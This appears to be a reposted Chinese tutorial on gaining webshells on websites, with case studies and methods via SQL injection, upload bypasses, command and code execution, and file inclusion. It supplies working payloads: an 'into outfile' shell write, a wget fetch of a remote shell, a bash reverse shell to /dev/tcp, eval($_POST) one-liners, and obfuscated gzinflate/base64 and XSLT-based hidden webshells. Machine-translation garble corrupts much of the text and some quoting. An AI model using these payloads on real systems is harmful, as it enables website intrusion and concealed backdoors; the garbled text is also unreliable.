WebShell便是以asp、php、jsp或者cgi等网页文件形式存在的一种命令实行环境,也可以将其称做为一种网页后门。

2、WebShell四案例解释-理解webshell获取

案例一

php漏洞获得webshell权限若何获取webshell PHP

进入后台,有备份数据库功能。
思考:我们备份的数据库会被自动的加上.mdb的后缀,这样的话我们的Webshell是不能被实行的,怎么办呢?换种思路,举例解释:利用Win2003的漏洞,天生一个诸如fjhh.asp的文件夹,里面的任何文件就都能被IIS当做asp文件来解析实行了。
可是在这个网站里,它做了一点小限定,当我们要天生的文件夹名称包含有asp、asa时,页面就会出错而不会被实行,但我们可以天生诸如fjhh.asp的文件央来绕过这个小限定。
这是由于它虽然做了限定,可却忽略了大小写,这样,我们就拿下webshell了。

案例二

进入后台,无备份数据库功能,但有上传功能,利用明小子注入工具,选择“综合上传”,设置好了后直接点“上传”就可以了。

案例三

通过修正配置文件的方法来拿webshell。
修正配置文件一样平常有两种方法:一种是通过存储进数据库,再查询输出,如果我们碰着这种是不能通过修正数据库来拿webshell的,由于我们要插入的一句话木马是不会在做事器端被运行;而其余一种便是将配置参数直接保存在文件中,通过fso进行修正,如果是这样的话,我们直接插入一句话木马就可以成功拿下Webshell了。

案例四

末了,我们再来看数据库插马,有时候我们能看到配置文件,可插入一句话木马却没能在做事端被顺利实行,这时如果数据库恰好是asp或者asa的话,我们就可以考虑插入一句话木马到数据库里了。
这种方法可以说是老思路了,但现在的数据库一样平常部加了防下载表,以是利用的方法和以往的插一句话是有很大差异的。

思考防下载表是如何建立,如何防止下载的呢?我们建立一个nodown的表、nodown的字段,类型选择OLE工具,打开SQL查询窗口,输入如下命令:“Insert into[nodown](nodown) values(Ox3C253C256C6F6F70)”,个中“Ox3C253C256C6F6F70”是“<%<%loop”的十六进制,末了再把数据库改为asp后缀,这样防下载表就成功建立了。
当我们在浏览器中打开这个文件时,就会涌现缺点,防下载表的事理便是涌现去世循环,让程序出错从而不能被下载、精确解析,以是插入普通的一句话也是会出错而不能被实行的。

我们可以对一句话进行变形,在asp中,如果是“<%execute request(\"大众#\公众)'<%<%loop%>”这样就能成功的实行我们的一句话了,由于“<%<%loop”会被注释掉,在防下载表的前面插入“<%cxccute request(\公众#\公众)”,在后面插入“%>”,这就须要我们的RP和运气了。
由于我们并不知道自己插入的数据会涌如今防下载表的前面还是后面,而且其前后也并不与表的前后有干系性,在我们测试时可以利用UltraEdit的十六进制进行查看比拟,以确保我们插入的数据能插入到准确位置。
数据提交时,我们可以进行unicode编码,这样就能绕过字符的过滤了,虽然这种方法有一定的局限性,但对付著名CMS系统的webshell获取还是有非常大的利用代价的。

3、WebShell获取方法

(一)SQL注入获取Webshell

条件:

1.当前连接Mysql数据库的账户 具有FIle权限

2. 知道网站的绝对路径

利用php报错信息

Google搜索报错信息

load_file()读取配置文件信息

3. MySQL有权限到网站的目录下写文件

4. 单引号不能被转义

利用:

union select '' into outfile '/var/www/html/1.php'

防御:

数据库连接账号不要利用root权限

PHP报错模式关闭

mysql账户没有权限向网站目录写文件

(二)上传漏洞获取Webshell

条件:

探求一个上传点,查看上传点是否可用。

利用:

首先判断是程序员自己写的上传点,还是编辑器的上传功能

如果是编辑器上传功能,goole当前编辑器的漏洞

如果是程序员写的上传点

上传一个正常的jpg图片 查看上传点是否可用

上传一个正常的jpg图片,burp拦截,修正后缀为php (可以检测 前端验证 MIME检测 文件内容检测 后缀检测)

上传一个正常的jpg图片,burp拦截, 00截断 1.phph%00.jpg

判断做事器是什么类型,web做事器程序,是什么类型,版本号多少

利用解析漏洞

(三)任意命令实行获取Webshell

条件:

知道网站绝对路径

利用代码实行漏洞读取Apache配置文件,找根目录

实行pwd,获取当前事情路径

Apache 权限对网站目录写文件

网站图片上传目录,一样平常apache都有可写权限

利用:

index.php?command=echo \公众\公众 > /var/www/html/phpinfo.php

index.php?command=wget -O /var/www/html/phpinfo.php http://xxxx/phpinfo.txt (wget 没有的话用curl)

防御:

修补命令实行漏洞

(四)其它获取Webshell

1、任意命令实行漏洞在不获取webshell 的情形下也可以掌握做事器,不须要获取webshell

(利用powershell)任意命令实行直接反弹一个shell

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

任意命令实行可以,实行远程Samba里面的位二进制文件

\\10.0.0.1\shell.exe (远程做事器上的Samba做事)

2、任意代码实行获取Webshell

条件:

apache对网站目录有可写权限 (一样平常都有权限)

利用:

在有写权限,且file_put_contents没有被禁用时

index.php?code=file_put_contents($_POST[f], $_POST[d]);f=phpinfo.php&d=

在没有写权限的时候,可以直接用菜刀链接

index.php?code={${ eval($_POST[1]); }}

3、任意文件包含获取Webshell

条件:

在引用文件时,引用的文件名,用户可控,由于传入的文件名没有经由校验,或者校验被绕过。

可参考:

(一)本地文件

(1)上传一个图片马,然后,包含图片Getshell

(2)包含日志文件Getshell

(3)包含/proc/self/environ文件Getshell

(4)包含data://或php:input等伪协议(须要allow_url_include=on)

(二)远程文件

须要php.ini的配置选项allow_url_fopen和allow_url_include 为On (很少见)

index.php?page=http://www.xx.com/1.txt

4、后台干系功能获取Webshell

一些后台自带有数据库管理实行sql语句、或者实行cmd命令、数据库备份/规复功能、文件管理功能等等

扩展:

(1)代码稠浊隐蔽WebShell

代码稠浊隐蔽WebShell也便是通过编码和压缩恶意代码的办法来隐蔽WebShell。
这里我们利用gzinflate+Base64加密,来隐蔽WebShell。

<?php

eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVq8qLc5IzUtXj9W0BgA=')));

?>

(2)在PHP下基于xslt转换来隐蔽WebShell

XSLT - 一种用于转换 XML 文档的措辞。

定位到XSLTProcessor类,可以创造registerPHPFunctions方法。

php-XSLT官方事例:

<?xml version=\"大众1.0\"大众 encoding=\"大众UTF-8\"大众?>

<xsl:stylesheet version=\"大众1.0\公众

xmlns:xsl=\公众http://www.w3.org/1999/XSL/Transform\"大众

xmlns:php=\"大众http://php.net/xsl\公众> //这个命名空间URI表示php专用的xsl函数支持

<xsl:output method=\公众html\"大众 encoding=\公众utf-8\"大众 indent=\公众yes\"大众/>

<xsl:template match=\"大众allusers\"大众>

<html><body>

<h2>Users</h2>

<table>

<xsl:for-each select=\"大众user\公众>

<tr><td>

<xsl:value-of

select=\公众php:function('ucfirst',string(uid))\"大众/> //php:function('assert',string(.))表示将匹配节点的文本作为参数通报给php的assert函数。

</td></tr>

</xsl:for-each>

</table>

</body></html>

</xsl:template>

</xsl:stylesheet>

为了避免xml的转义问题,进行一次assert嵌套,终极WebShell如下:

<?php

$xml='<ichunqiu>assert($_POST[zusheng]);</ichunqiu>';

$xsl='<?xml version=\公众1.0\"大众 encoding=\"大众UTF-8\"大众?>

<xsl:stylesheet version=\"大众1.0\公众 xmlns:xsl=\公众http://www.w3.org/1999/XSL/Transform\公众 xmlns:icq=\公众http://php.net/xsl\公众>

<xsl:template match=\"大众/ichunqiu\公众>

<xsl:value-of select=\"大众icq:function(\'assert\',string(.))\"大众/>

</xsl:template>

</xsl:stylesheet>';

$xmldoc = DOMDocument::loadXML($xml);

$xsldoc = DOMDocument::loadXML($xsl);

$proc = new XSLTProcessor();

$proc->registerPHPFunctions();

$proc->importStyleSheet($xsldoc);

$proc->transformToXML($xmldoc);

?>

转载于:http://www.zgukj.com/article-34.html